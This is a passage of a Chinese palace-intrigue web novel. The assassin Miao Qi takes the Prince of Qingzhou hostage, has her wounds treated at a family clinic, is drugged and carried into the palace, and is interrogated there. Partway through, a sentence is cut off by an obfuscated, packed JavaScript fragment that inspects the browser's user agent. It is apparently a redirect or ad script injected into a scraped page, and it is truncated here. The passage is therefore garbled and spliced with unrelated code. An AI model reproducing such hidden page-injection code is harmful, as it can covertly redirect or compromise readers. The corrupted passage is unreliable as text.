一人身着华服坐于主位之上,此时面上竟不露半分波澜,不动如山望着渺七,好若无事发生。另一人坐于下首处,见状猛然站起身,落在渺七身上的目光似要将她吞噬,而他身后,站着一身劲装的芙生。 至于她手下那人,端的是副镇定自若模样,背对她问道:“可知你所劫是何人?” 声音温和,渺七不由得提一口气,答道:“青州王裴皙。” 20. 〇五 裴皙常想,天地茫茫渺渺,何以再见一个行踪不明之人。 再次听见渺七的声音,他终于叹息声,几不可闻,但渺七手抵在他颈间,几乎觉得触碰到那声叹息。 短短一息间,渺七竟如同猛兽回洞穴睡去般,毛发不再炸起,悄然变得服贴,直到对面那人发出声警告,她才毫不含糊地重新聚力,双目警惕。 “渺七,不得无礼!” 口吻近似呵责,按捺着不分明的怒意,却并无与渺七划清界限之意,只将渺七此举斥作是“无礼”,可惜眼下并非渺七挟持英国公与他做戏之时,渺七只充耳不闻。 裴皙倒是听见,目光沉静看沈晏眼,再转眸看堂上,问道:“不知皇叔府上何来的刺客?” 听他叫皇叔,渺七转头看去那人身上。 信王裴峥不过四十上下,面容儒雅俊美,蓄一副墨染般的美髯,沿着利落的颌骨与唇周精心修剪,平添几分不容侵犯的威严。 眼下裴峥仍面色不改,好整以暇看向双拳紧攥的沈晏,道:“子静,与你世芝兄解释看看。” 看样子像是想唱一出戏,但渺七不耐烦听,毫不客气地将手中碎瓦逼得更紧,对裴皙道:“废话少说,走。” 裴皙便由她要挟着从座上起身,退出客堂。 堂外仍大雨滂沱,应平神情复杂望着二人出来,在裴皙的示意下递过伞。 裴皙撑伞向雨地里去,噼啪声响中,渺七仰头看了看头顶倾斜的伞,却听他提醒道:“不再抵近些吗?” “……” 渺七绷唇,不予理会。 两人在前,一路畅通地走到信王府外,幸喜是暴雨天气,信王府外并无行人过客,否则教人看见裴皙是由人劫持着出府,无需半个时辰,青州王在信王府上遭人劫持一事便能传遍皇城上下。 马儿冒雨奔驰,渺七坐至车内,垂头不语。 见她浑身湿淋淋,连眼睫之上都挂着雨水,裴皙从怀中取出块叠得整整齐齐的方帕递到她面前,并不说话。 渺七看了看,也无声接过手帕,胡乱抹了把头脸,再随手用帕子捂住左臂伤处。 华湘虽不知为何有意帮她,却也未在众目睽睽下手下留情,渺七吃了她好几鞭,眼下只觉浑身上下都疼,适才在信王厅堂中不欲他们多谈亦是因疼痛难耐,气力也消耗殆尽。 手帕浸染上血色,裴皙这才觉察渺七一身黑衣下已然伤痕累累,不过浑身湿透让人辨不清是雨水还是血水。 他眉心微凝,抬声朝车外吩咐句:“应平,就近到令堂那儿。” “是。” 裴皙如今在京中的住处在城西涧园,较为偏远,故而命应平就近回医馆,吩咐罢,方才转回目光看看渺七。 自上车起,她还只字不语,像只出于不安疏离人群的野兽。 裴皙看上会儿,终是轻叹声,向渺七身侧挪了挪,温声道:“手给我看看。” 渺七抬眼看看他,也不问哪只手,只松开捂着左臂的手,将两只手都举起。 染血的手帕落到他们之间,落在那片适才用来劫持青州王的碎瓦之上。 裴皙接过她左手,一圈圈拆下其上缠绕的白布,只见渺七左掌之上一道粗砺的鞭伤似愈非愈,经雨淋后血肉红肿,几乎可怖。 “伤了许久,怎还不见好?” 渺七犹疑片刻,终于开口:“连日骑马赶路,缰绳勒手。” 裴皙沉默着,抬手取来一旁果盘中的匕首,不假思索割破锦服,暂且将鞭伤重裹一番,随后又解下她右腕之上随意缠裹的衣料,露出那道飞镖扎得深重的血痕。 他终于再次蹙额,一面为她包扎一面问她:“那日为何不辞而别?”她不答,他便追问,“因为我的话惹恼了你?” 渺七想了想,点头承认。 裴皙便低笑一声,静默一阵后,在她腕上系好一个结,末后冷不丁说起:“崔渺,过去五年间我常在想,天地茫茫渺渺,何以再见一个行踪不明之人……初时我执念颇深,常试想某时某地那人又从树上现身,直到年深日久,我才想兴许我再也见不到那人,她或许已经死了,又或者仍活于世,但总不至于会傻到再自行露面,可我还是不时为此困扰一番。” 说到此处,他才抬眸瞧向她,“但我不曾想,后来那人竟真露了面,我一见她,便似忘了这困扰。” 渺七同样直视着他的双眼,似困惑他想说什么,又像是在困惑其他。 裴皙继续道:“她负气离开,我原觉得可笑,心想难道在她看来,我就不能生她的气,不能怨怪于她吗?但却笑不得,反而又一次困扰于如何才能在茫茫天地间找到个行踪不明之人。” 说罢微微一笑,口吻平缓,“崔渺,今后别再不辞而别,可好?或者说,我应该叫你渺七?” “……” 渺七听到后面一句,忽地眨了眨眼。 “我早该想到,就连崔渺这个名字也是在骗我。”他口吻始终淡淡,好似谈着渺远的不关己的事。 渺七听后欲言又止,随后理直气壮道:“名姓而已,难道人一生非要行不更名坐不改姓吗,你不也还叫世芝吗?” 裴皙又垂眸一笑,叫她道:“渺七。” 渺七又眨眨眼,应上声。 可裴皙叫完便再不说话,好像只是想试试看这般叫她一声。渺七又不语,低头看裹好的手,又过了好久,她才也叫他声:“裴皙。” 见裴皙看向她,她才问他,“你回京是为了寻我吗?” “你留信让我前往西南寻医,我自是回京向圣上请旨的。”裴皙这般说道,意在否认。 渺七想了想,固执说:“你说谎,你定是来寻我的,因为如今我不再是行踪不明之人,所以你想找到我便能找到我。” “我如何知晓你行踪?” “我不知道,但你若不知,为何会到信王府来?” “皇叔辅佐幼帝,实为摄政之王,我为王爵,自该一回京便去拜会,不然京中定然流言四起。” 他说得有理有据,渺七应当相信,可不知为何就是不太信。直到这时,她才兀然想起另一回事,皱眉从怀中摸出一张湿答答的画纸来。 “这是什么?” “画像。”渺七展开画纸,纸上一张人脸漫漶开,成一团湿墨,竟是白白费了一番功夫。 裴皙瞥见,眉宇间不禁带上笑意,打趣道:“画得不及你走前留下的那幅好。” “……”渺七更觉郁闷。 裴皙难得见她不露出副没心没肺模样,顿了顿,总算问了那个一开始便想问的问题:“怎么半月不见,落得这般可怜?” “出了点意外。” 她将这上上下下的伤都称作意外吗?裴皙想着,无奈问她:“那我可否问问,若无意外,你是何打算?” 听他这般问,渺七不知为何又觉烦躁,忽将手中画纸捏成一团丢去马车角落中,口吻生硬说:“没有打算。” 也许芙生说得不错,她行事从来都只凭一时又一时的灵感,从不计量后果。因为生气,所以要离开青州王府,因为离开青州王府,所以不明不白跟随她们回玄霄。 她不明白自己在想什么,也许她是在想,若她还能离开玄霄,便去西南寻独眼,若走不得,总归她也已将独眼的事说与裴皙。可她没想到沈晏竟还活着,她一听那人说话,便很厌烦,很想走开。 渺七再次变回躁动不安的模样,裴皙不再作声,只若有所思地看她。 不久,车马在一宅院外停下,院落位于一宽巷中,门前悬一张匾,刻「应氏医馆」四字,即使是雨天也敞着大门。渺七下车来,仰面看那牌匾,正冒雨端看,一把油伞支来头顶遮住视线,她回望去,见裴皙斜撑雨伞,半边身子淋着雨。 渺七微微蹙额,仍旧心烦,伸手将伞柄向他那侧推回几寸后,冒雨转身朝院里去。 裴皙被甩在身后,侧头看了看街尾跟随而来的人影,唇角扬起一抹似有若无的笑意,似笑某人便是做戏也做不完全套。 暴雨天气,医馆里显得冷清,应平只将裴皙与渺七引至内院里。一女孩正坐在廊下借着最后的天光看书,应平一进院便朝她叫:“喜妹!” 应喜抬头,当即面露喜色:“哥!王爷!你们回来了!” “娘呢,去找她来,有人受了伤,需她瞧瞧看。” “噢!”喜妹应声将书撂在廊椅上,跑进屋内寻人。 …… 疗室内,渺七依言脱下玄色外衣,只剩里衣时应喜才见得一片鲜红晕染开,不禁瞪大眼问她:“皇城脚下,什么狂徒将你伤成这样!” 渺七看看她,应喜与应安相貌不太相像,不过这时渺七听她说话与应安一模一样,才觉得她和应安像是双生子。 一旁的妇人将应喜赶开,对渺七道:“再脱,脱干净。” 渺七犹疑看看她,然后扭身给妇人看后背。 后背之上,流星般的箭矢还嵌在皮肉里,这时应舒才皱起眉,问她:“适才脱外衣时怎不吭声?” “忘了。” “蠢钝如猪,趴下。”应舒口吻不善,将人安置到床榻上。 眼下时近傍晚,又下着暴雨,天光晦暗,应喜已点起灯,应舒借光亮查看一下那箭矢,叫了声喜妹,应喜忙将钳剪等物递给她,而后手脚麻利从旁燃起苍术,应舒则剪破渺七里衣,在伤处小心翼翼涂抹上草药,后凑近用小刀缓缓挑剖开箭周皮肉,忙活许久,终用小钳钳出箭簇。 幸喜只是支小箭,虽工艺精巧,箭簇却不及弓箭厚,仅在背上留下个樱桃大的疮洞,应舒在伤处撒上金疮止血散,敷药包扎妥当才长舒一口气。 喜妹紧皱的眉头也松解几分,正欲宽心,忽发觉渺七闭着眼一动不动,惊慌道:“娘,她好像疼晕了!” “放心,只是睡着了。” 妇人边说边利索铰起渺七衣物,应喜则进进出出换了几趟水,趁渺七熟睡为她清洗几处鞭伤,将身上其余伤处全部上药包扎妥当。 医馆中本有其他医女,但渺七的伤势不宜教太多人知晓,故只母女二人替她医治。二人忙完回内堂时,裴皙已然换下湿衣久候多时,见她们来,问道:“怎样,伤势如何?” 应喜答话:“鞭伤虽有几道,但都是皮外伤,手伤亦无大碍,只后背之上有处箭伤,恐要养些时日……” 话似未尽,裴皙又问:“还有什么?” 喜妹略加思索,摇摇头:“并无其他。” 她原想说渺七身上还有许多旧伤,但又觉这当是伤者的私事,她不该多言。 她看看母亲,应舒只是说:“王爷,那姑娘已昏睡过去,恐怕今夜要留在医馆里。” “我也留下。” “这……” 时候已然不早,又下着雨,应舒自是不会撵人走,便只教应平张罗此事,自己则又回前院里忙活。 应喜这时才得机会凑去应平边上问话:“哥,你们几时回京的?怎不见应安?小苗儿可是一起回来?” 她问了长串,应平依次答来:“午间入城,因有事在身,应安独自去涧园里打点了,来时已经让车夫回去传话,想必也快到了,小苗儿留在青州。” “好罢,不过我就是问问,可不是记挂应安。” 话音刚刚落下,就听一人大剌剌叫道:“好啊喜妹!亏我还整日念叨你,你竟半点儿不念着我!” 应喜抬头看去,脸上当即绽开笑意冲上前去:“都说了是喜姐!你怎的又长高了,好不公平。” “喜妹喜妹!”应安欢天喜地叫她几声,然后问她,“娘在什么地方,我好想她,快带我去找她。” 两人便跑去前院药馆里寻人,应平看两人跑远,这才回身看裴皙,见他一脸平静,问他:“王爷,今日还进宫吗?” “今日雨大,母后定能谅解。” 应平犹豫一阵,又问:“那崔渺她——” “不必好奇,今日之事,她也实属无奈。” “……”应平忍耐会儿,道,“王爷,属下有些话不吐不快。” 裴皙转头看他,眼底似乎有些笑意:“难得见你这般直抒胸臆,那便一吐为快。” 应平也不扭捏,肃色直言道:“您对崔渺——不,她究竟是何人?为何那时您会说她是您的远亲?王爷,您为何要为她隐瞒,她今日又怎会出现在信王那儿?” “应平,你若是再问下去,我便不知该从何答起了。” 应平语噎一瞬。 而裴皙微敛眼帘,似有些出神,不过还是缓缓说来:“但我还是回答不了你,并非我不愿答,只是你问的这些事兴许连我自己也还未能想明白。” 听他这般说,应平脸上竟露出些许诧异,毕竟,在他既有的认知中,裴皙应是无所不知的,应是如当年太傅所说世间最洞悉世事与人心之人,他从未听裴皙说过“不明白”这样的话。 应平正色看他,恍然发觉眼下的裴皙与此前半月间所见裴皙有些不同。此前半月间,他们疲于奔波,他竟丝毫未发觉那时裴皙原有几分忧心忡忡,直到眼下裴皙卸下那忧心,其间的细微差别才显现出。 是他迟钝从未发觉,还是说旁人亦未察觉? 应平觉得无论裴皙如何不明白,他自己都才是最不明白的那个,最终,他还是问道:“王爷,那您就这么不明不白地留下她吗?她终究是个隐患,而且,娘娘那边……” 话语未尽,只见应平眉头微攒,裴皙这才一笑:“应平,你说错了,能不能留下她,不在我,也不在母后。” “那是在谁?” “我想这应当不难回答。” 裴皙说这话时,所想是今日在信王府所见那幕,又或者,不应当说是“见”,他并未瞧见渺七是如何冲进客堂中,只是感觉到一阵凶猛的气息靠近,他分明只见到一道黑影闪到他身后,并为一只透凉的手所挟,但还是凭借那样的野兽般的冲动感觉到她。 应平却又教裴皙这话堵了一遭—— 不在他,也不在太后,言外之意自然是说在她自己。 他便又道:“可王爷,无论今日她在信王府所做之事是什么缘由,您都不应像刚才那样纵容她,此事总是要问清楚的,就算您不问,娘娘也会问……” 裴皙默了默,瞧不出在想什么,许久才说:“此事我会与母后说清楚,今日之事,暂且不要告诉应安他们。” “是。”应平应下,随后仅剩沉默。 直到应喜与应安又从外屋进来,屋中的静默才打破,应安见到裴皙,稍稍收敛些,将一碗汤药端到裴皙面前:“王爷,娘说您淋了雨,给您熬了几服祛寒汤。” “多谢。” 应喜则还是那副爽朗模样,这时问道:“王爷,哥,你们可有想吃的东西?韩婶正备晚饭,娘要我来问问你们。” 裴皙只说清淡点即可,等到应平要开口,应喜打断他:“我知道,有肉即可!” 应平难得一笑,应喜便跑开传话去,裴皙与应平的谈话便也就此结束。 不多会儿,应舒也来堂屋桌上张罗起晚饭,应安这头先将裴皙请上桌,应喜见后在一旁道:“你如今可真谄媚!” “胡说什么,大哥你听她!” “喜妹,不得口无遮拦。” 应喜这才皱了皱脸,转头对裴皙说:“王爷,我知道您不会生气才这般说他的。” 裴皙但笑,喜妹一脸神气看应安,应安懒得和她斗嘴,只问:“崔渺呢?该叫她起来吃饭了。”说罢又哼哼两声,“半月未见,我倒要瞧瞧她又把自个儿折腾成什么样了……” 喜妹已坐下,闻言说:“她伤得厉害,还是让她睡着罢,等她醒来我再送些粥食给她去。” “不必。” “不可!” 只听裴皙与应安同时说道,应喜滴溜下杏眼,问:“为何?” 应安答她:“你不知,此人原是个饭桶,一顿不吃饿得慌,你若不叫她吃饭,她还会跟人生气,况且她还有副狗脾气。” 听他这般说,应喜脸上显出几分不一般的神态,挑了挑眉,但她转念想到什么,又转睛看了眼裴皙,眼珠儿一转说:“那我现在就去叫她,等她起来,饭菜也应当备好了。” 她说着起身,应安忙跟上:“我跟你去!” “坐下!”应喜将人按回座位上,斥道,“你去做什么?人家一个姑娘家。” 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渺七将衣裳接到手中看了看,不解抬头。 应喜便问:“你这般看我是何意?” “为何要嫌弃,这很新。” “唔……不是指新旧,我是见你剃光头发,又着劲装,便当你是话本里女侠这类人物,说不定便嫌弃我这女子装束。” 渺七还是不解,应喜对着这么双眼睛,不觉怔了怔,而后才轻咳声:“罢了罢了,瞧你也不懂,你快些换上我们去吃饭,若你身上还疼,我替你端来饭菜也行。” 渺七不语,只是下床穿起衣服。 见她穿个衣服也笨手笨脚,应喜不由摇摇头,上前帮她,一边又问:“对了,你瞧着与我一般大,几岁了?” “十七。” “噢,我十八,你可以叫我声喜姐。” “……”渺七更加确信她与应安是双生子,她看看还在替她束腰带的女孩,说,“应安才十六。” 应喜清了清嗓子,道:“开个玩笑,那他可是对你说我是他妹妹?” 渺七点头。 “实则我真是他姐姐,只不过他从小就笨,什么都比不过我,我才让他做了段时日哥哥,结果他还记性不好,果真忘记这回事,从此就拿我当妹妹了。”应喜说着抬眼看看渺七,见她还是面无表情,便讪笑道,“我这人话多,你多担待。” 本以为渺七不会答她,但渺七忽说:“应安话也多,但应平话少。” 应喜顿时乐不可支,然后围着渺七转了圈,又笑了声:“好了,瞧着是有些奇怪,明日我定为你找身合身衣裳。” 渺七低头看看身上的水绿色裙子,不觉何怪之有,只惦记着吃饭,跟应喜一路到饭堂里去。 眼下天已黑透,雨还下着,两人来时饭堂灯火通明,渺七还未走近便嗅到饭菜香气,跨进饭堂时不觉有一瞬恍惚,竟有种一觉睡了好长时日的感觉。 分明白日里还吃不饱饭,与人打架奔逃,但此时一觉醒来,已经有饭等着她吃。 她有些许茫然坐到桌边,应喜坐在她身侧拿一只空碗打着饭,应安不知为何异常安静地低头坐着,应平在为应舒布菜,裴皙坐在她对面,慢条斯理地提起筷子,似是觉察到她的目光,也朝她看来。 渺七与他对视两瞬才收回视线,一低头便发现碗冒尖的米饭摆在面前,转头看去,应喜笑眯眯对她道:“我听人说你是个饭桶,便多打了些。” “好啊喜妹,你出卖我!”应安坐在应喜另一侧,闻言顾不得害莫名其妙的臊,气哼哼埋怨。 “我又没说是你,你自个儿招的。” “可这桌上除了我谁会这么说她!” 应安很有自知之明,说罢视线越过应喜瞄了眼渺七,见得渺七一副万事不上心的模样,又觉闷闷,偏偏应喜因他这话笑得停不下来,笑声盖过屋外的雨声。 渺七只事不关己般低头吃起饭来,依旧专注,依旧疏离。 直到一餐临近尾声时,裴皙忽地侧过身咳嗽了两声,渺七这才随众人一齐看向他。他一如既往是席间最先放下碗筷的人,从先前起便只静坐一旁,看着众人用餐。 听他咳嗽,席间甚少开口的应舒道:“舟车劳顿,又淋了雨,王爷今夜早些歇息,睡前再服一碗祛寒汤。” “多谢应姨。” “哪里的话。”应舒客套一番,然后转头看身侧的渺七,“还有你,也早些歇息,明日一早我让喜妹来给你换回药,记得趴着睡。” 渺七对她点点头。 只听她又说:“还有,少吃点。” “……” 席间其他人一致笑起来,而应舒嘱咐罢,便先离席。 渺七又抬眼看看裴皙,见他嘴角挂着笑,忽而放下手中碗筷。 她忽然想问他些话,但又久久想不明白自己要问的话究竟是什么,心下又似在马车上那般烦躁不宁起来。 应安见状,以为她因应舒的嘱咐不悦,便说:“咳咳——反正我娘不在,你还想吃多少便吃多少。” 渺七却一语不发起身离席,留得应安在身后不满:“我又没说错,她怎么又乱发脾气?” 然后是应喜的声音:“你都说了她一副狗脾气,还和她生什么气?” …… 这一夜似乎极其漫长,渺七趴在床榻上,思索着今日自从见裴皙起发生的事,想要想明白一些东西,但终究不敌睡意和疼痛,整个人快便沉沉睡去。 翌日一早,天还未大亮渺七便睁开眼,此后再睡不着,索性起身下床,却在开门时直直撞上应喜。 应喜登时吓了一跳,开口时还有些结巴:“你、你醒了!怎么这么早?”又说,“快回床上去,我先给你换药。” 渺七看她眼,又回床上趴下。 应喜查检一番她的伤口,确定昨夜没有裂开,这才为她换药,而后便将人牵到桌边坐下,指指适才端来桌上的药碗和粥碗,道:“近日你需吃得清淡些,这样伤才好得快,知道吗?” 渺七没有答话,坐下先将药饮尽,然后捧起粥碗嗅了嗅,拿起勺子便吃。 应喜与她并坐,见渺七吃起粥,找了些话同她说,说到某处托腮问她:“对了崔渺,昨夜我听应安说你与崔太后是远亲,当真吗?” “不是。” “那他为何这般说?” 应喜笑得纯真无邪,好像无意打探什么,当真只是好奇,渺七瞧着她,眨眨眼道:“是裴皙这般说的。” “噢?你若不是太后的亲戚,为何敢直呼王爷的名讳?” 渺七吃下最后一口粥饭,不答她,起身作势出屋,应喜却忽地拦到她面前,转了转眼珠,说:“你身上有伤,不宜下地走动,还是回床上趴着吧。” “腿又没伤。” 应喜不禁面露几分焦灼,继而眼霎时一亮,说:“对了,昨日替你医治,我从你旧衣物里找到些东西,都放在屏风后头,你看看可少了什么。” 渺七又瞧她眼,转身走至屏风后。 妆台之上,两只锦袋和白玉小笛静放,一旁,一枚玄铁令与一袋易容器具也教人翻出。渺七停在台前看了许久,第一次认真拿起那只旧锦囊,自从韩仲孝将它还给她后,她竟一次也没打开过。 她想了想,这时打开囊袋,从中取出只白玉吊坠来。 白玉雕作一只小羊,似是野山羊,一对山羊角高高竖着,仿佛并非雕刻而成,而是由它自己的颅骨中生长而出,下个瞬间就要向前冲撞去。 渺七摩挲下山羊玉坠,似乎回想着渺远的往事,许久才将它放回锦袋中,和其他东西放在一处,又转身朝屋外去。 屏风这端,喜妹正在桌边拾捡碗筷,眉头不知为何紧紧堆起,渺七经过她时又看她眼,难得善解人意地指教道:“下次若想用蒙汗药迷晕我,得多加一些。” 玄霄中人从小需学会分辨常见的迷药气味,故而寻常的蒙汗药还药不倒她。 应喜一听这话,登时杏眼圆睁看她,渺七只面无表情向屋外踱去。 然而,出门之时,渺七到底还是晕了过去。 21. 〇六 眼见着渺七卸力晕了过去,应喜来不及懊恼,几个箭步从桌旁冲来门边,扶住她。 原是应舒杵在门外候着渺七,只等她开门,便将一张帕子蒙到渺七脸上,应喜见状不由得惊诧问她:“娘!你这是用了多少药!” “横竖有人出钱,小点儿声。” 应喜:“……” 她并非是在心疼药钱啊! 到底不是计较细节的时候,母女二人又通力合作番,总算避开医馆中其他人,小心翼翼将人送到后院外一辆马车上,而后才分头离去。 裴皙也已起来,眼下正站在廊下望廊檐积雨滴落。 应喜端着只盛着药和粥碗的托盘经过时,有意停下脚步,问他:“王爷,您在瞧什么?” “瞧今日应是个晴天。” 应喜也瞧一眼灰蒙蒙的天,不太相信般问:“果真?” 裴皙但笑,而后目光看向她手中托盘,应喜便解释说:“噢,这是给崔渺的,我去给她换伤药。” “有劳。” “您这般客套做什么……”应喜难免有些心虚,说罢忙借由寻渺七离开。 又隔片晌,便见少女脚步匆匆跑回来,应安这时也已起床,正在廊下活动筋骨,见她神情慌张,问她:“怎么慌慌张张?” “崔渺不见了!” “什么?” 应喜说话声不低,传进屋中,应平当下将应喜叫了进来询问,应喜瞧一眼裴皙,便低下脑袋回话:“我见她不在房中,四处找了圈也没找着人,便来和你们说了。” “东西呢?” “都、都带走了。” 应喜不知为何裴皙会问东西,不过回完这话才觉不对,她娘的确是让她将东西都藏好,但她这会儿应当还来不及知晓此事才对。 自觉失言,应喜抬眼觑一眼裴皙,对上那双清明的双眼,心下打鼓。 许久,只见他闭目轻叹声。 “……” 叹气是何意思? - 车马轻晃,渺七无力轻颤几下眼皮,但只挣扎几瞬便又安稳蜷缩成一团。 渺七似做了个梦,梦里是她第一次离开千矶岛时。 海上小舟轻摇,她蜷在船篷下快要陷入小憩,却听谢离问:“渺七,你可准备好了?” “嗯。”她含含糊糊应声。 “你倒像个老手,头回领命行事竟还睡得着。” 也许说出来谢离并不相信,她其实并不想睡,只是抵抗不了登船后的睡意罢了,而往后无数次在海上漂泊时,她都同样昏昏欲睡。 谢离又对她说:“舆图可在身上?” “嗯。” “线路可还记得?与我复述一遍。” “莱州、青州、淄川、德州唔……真定、五台山。” “渺七,若这桩任务……”谢离欲言又止,然后改口,“事成之后尽早回来复命。” “若我像其他人一样,也回不来呢?” “那便是没命。” “若我不回来呢?” “月院的人会找你回来。” “他们找不到我。” “你的确很会藏匿,但若还是找到了呢?渺七,记住林染。” 林染,林染…… “我就知道,你的情义可真够匮乏。” 芙生的声音不知为何也夹杂在梦境中响起,渺七皱起眉头,感觉到有人抬起她,不久,眼前亮起微光。 “当心点儿,她后背和手上都有伤。” “噢。” “仔细搜搜,出了什么事可就不得了了。” 渺七极力睁了睁眼,朦胧中只见两个藕衫女子凑来眼前,在她怀中探了一番后才将她安置到床榻上。渺七伏至一片柔软中,如倦鸟归巢,合上沉甸甸的眼皮陷入昏睡。 一觉睡得无比绵长,渺七再醒来时不觉有些头晕,恍惚间捏了捏舒适的锦被,而后才缓慢从床上爬起,一扭头,便见两个青衫女子杵在床前盯着她,见她醒来,二人对视眼,其中一个即刻转头出屋。 渺七遂问留下那人:“你们是谁?这是什么地方?” 那青衫女子莞尔一笑,温和答她:“我叫听雨,适才与我一起的叫听露,此地是仁清宫。” 仁清宫? 渺七仰头环顾一周,面无波澜下地来。 左右看了看,先前出屋去的听露又折回房中,身后还跟来另两个圆脸的藕衫丫头拎来两个食盒,渺七一见,回身问听雨:“什么时辰了?” “午时刚过。” 渺七看看那桌饭菜,饶是她爱吃饭,也难免有些提不起劲,毕竟从昨夜开始,她便醒来就吃,吃完就睡,说不定吃完这顿她又该睡过去了。 想到此处,渺七索性径直朝屋外去。 天已放晴,日光赫赫,檐鸟声碎,渺七举目张望一周,高墙内除两棵寥落庭松外竟连花草也不见,渺七又皱眉朝院外去。 漫漫长巷间,但见小青砖铺满夹道,宫灯矗立,除此外再不见人影。 渺七凭高墙之上斜落的日影断定了方向,朝南行出几步,听得身后传来一串轻盈有致的脚步声,回头看去。 以听雨为首的四人遂齐齐止步,皆以黑亮亮的眼无声盯着她。 “你们要拦我?”渺七问道。 听雨摇摇头,回话道:“夏侯大人说姑娘身手不凡,我们若拦不住,便不拦。” 听露接着说:“夏侯大人还说,这深宫内院有的是宫墙能拦住姑娘。” 第三人又道:“大人还说了,姑娘若是乱闯,自有人拦你,若当真冲撞了哪位贵人,也只好你自己担着了。” 渺七听出言下的威胁,但丝毫不觉遭到威胁,又扭头走,然这青砖路走着实在无趣,她走出头也只途经两处空旷的宫院,还不及先前所在的院落,至少那儿还有两棵松树。 这便是皇宫吗? 渺七原想见见皇宫是何模样,却不料所见还不及青州王府有意趣,至少青州王府里有湖石楼阁,小湖旁有磐石可坐,湖中还有小鸭儿飞。而这皇宫,无论朝哪儿望都是一堵光秃秃的高墙。 终于,渺七驻足停在长巷巷尾往东望了眼,然后回头问跟着她的几人:“往东去便是东宫了吗?” 听雨等人闻言面面相觑一番,最后听雨才笑着摇摇头,温和道:“自然不是,此地是内掖东院,往东也只是宫墙罢了。”说罢又好言解释道,“后宫与东宫有严防,姑娘,那里我们可去不得。” 渺七知是如此,想到以往在玄霄时都有严防,又何况是皇城呢?但她仍很好奇,又问:“那东宫也是这般光秃秃,没趣吗?” “……”听雨听罢依旧浅笑盈盈,答话时有意曲解,“如今东宫空悬,自然也是空荡的。” 渺七自然知道是空悬的,毕竟皇帝也才只是个十岁的小儿,她只是想,如果东宫也是这般冷清乏味,那长在这样的地方,与长在玄霄是不是没有差别呢? 渺七默尔一阵,此后话锋一转,问听雨道:“太后还不见我吗?” “太后娘娘事务缠身,想来尚不得空。” “那为何一早就劫我来?” 听雨听她用词,不禁笑:“昨日娘娘得知姑娘劫持了青州王,很是生气,没有连夜带姑娘来已然是很好的了。” 听雨说起话来声调总是很轻柔,人也笑吟吟,并不拐弯抹角,除了裴皙,渺七还未听过这般柔和的人声,故而渺七对她没能生出太多烦躁情绪。 渺七一听她提到昨日她劫持裴皙之事,便知崔太后果真是个厉害人物。 她若有所思垂下头,百无聊赖间又折回仁清宫中,然后便蹲去院边一棵庭松下默默摆弄,身后依旧站着一众人,皆静静看她。 就这样足足蹲了快半个时辰,既不嫌热,也不觉得饿,倒是几个丫头站得有些累了,彼此相视几眼。 最后依旧是听雨与她说话:“姑娘,外头到底天热,不妨到屋中坐会儿,我让人送些瓜果来如何?” 渺七没有作答,听雨走近才见她已在松下挖出个坑,昨日暴雨淋湿土壤,眼下她将挖出的泥土垒成几个泥人,已然玩得满手都是泥。 听雨不觉一噎,不知情的见此情形也只会觉得她是个不懂事的小孩儿,哪里会是个胆敢劫持亲王的人? 见她不说话,听雨回头冲其他几人摇摇头,又退回廊檐的阴影下,想了想,压低声吩咐一个藕衫的丫头:“冬雪,去看看夏侯大人那里还需多久忙完,就说她像是快要着急了。” 冬雪点头,当即向外跑去,听露则小声问道:“这不是挺好的吗?” 她只觉得渺七瞧着好不安静,但听雨摇了摇头,说:“比起刚醒时已然浮躁许多,恐怕再待会儿就哄不住了。” 说罢又远远看起渺七,但过上会儿,听雨敏锐觉察出渺七身上的浮躁气似乎又为另一种气息所替代。 只见渺七总算从树下挪了挪脚,但仍是蹲着身挪动,听雨看上会儿,方知她是发现了一只蝼蚁,正跟随它挪动。 渺七随着蝼蚁挪动一截后,忍不住又伸出手捉弄它。 说来奇怪,她玩了许久的泥,可在这只虫蚁没有出现前,她竟丝毫没有想到世上还会有蝼蚁存活于此。 也许是这里太空荡的缘故,渺七不禁又琢磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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主殿明间内,渺七与夏侯音相对而坐。 宫女们端来些茶点,渺七见夏侯音慢悠悠地斟茶,并无开口之意,便兀自吃起糕点,夏侯音则在见她吃个不停时放下茶盏,茶盏磕出声脆响,似是昭示着某种心烦。 渺七抬眼。 夏侯音正注视着她,目光似审视,最后幽幽问道:“你叫崔渺?” “渺七。” “你与青州王相识多久?” 渺七想了想,说:“一月余。” “撒谎。” 夏侯音冷声戳穿她,渺七在其注视下吃掉手中余下的半块麻团,蓦地,一旁的灰衣女子将剑抵到她脖颈之上。 剑未出鞘,但气势凛冽,好似吃麻团乃天大的过错般。 “阿律。”夏侯音出声制止,待阿律收剑退回一旁,才又问渺七,“既然你知青州王在此,那我便直问了,你同他说了些什么,为何他会突然向太后请旨前往云南?” “我知晓云南有一人或可医好他。” 夏侯音肃色沉思,须臾再次质疑道:“他并非轻信此等空口白话之人,除非——除非你本就知晓他的病情。”她两眼直视渺七,问得认真,“你可知晓?” “我知晓。” “知晓?”夏侯音又问,“那你可知晓眼下云南是何形势,若他骤然前往,信王的人会如何揣测弹劾,届时又会招致多少麻烦?”她顿了顿,口吻较先前沉了几分,“还是说,你本就在替信王做事,叛离也好,投靠也罢,皆是在做戏给我们看?” “……” 渺七不懂为何人人都这般多疑,但还是不求甚解问:“云南是何情势,为何他去便会招致麻烦?” “不必与我装傻。” 经她一呵,渺七闭了口,迂久不语。 “怎不说话?” “因为我说什么你都不会信我。”渺七对上她眼眸,分明地窥见深藏其中的情绪,道,“你恨我。” 夏侯音平静无波的面上终于显现一丝波动,与此同时,阿律的剑再度生风,这一次,剑出了鞘,架至渺七颈侧,丝丝血迹映红剑刃。 “不要伤她。”夏侯音声线依旧平静,却对渺七那句话不置一词,只对阿律道,“一切听娘娘处置。” 剑撤下,渺七抬手捂住颈侧,好奇问:“太后会怎么处置我?” “娘娘自有定夺。”夏侯音口吻淡淡,却掷地有声,“但我会恳请她治你一死。” 22. 〇七 嘉令九年夏,安帝裴屹敕遣御史夏侯瑞巡抚山东,夏侯瑞携家眷同往,夜经徐州,宿于驿馆。 其夜,月明星稀,一少女如猫般翻出窗扇。 院中树影轻摇,栀子丛香,黑衣的少女行至花前,一剑挑开花丛。月下花丛间,一女子容颜苍白,双目惊惧含泪。 四目相对,黑衣的少女收回剑,攀至树上,夜奔于墙。 - 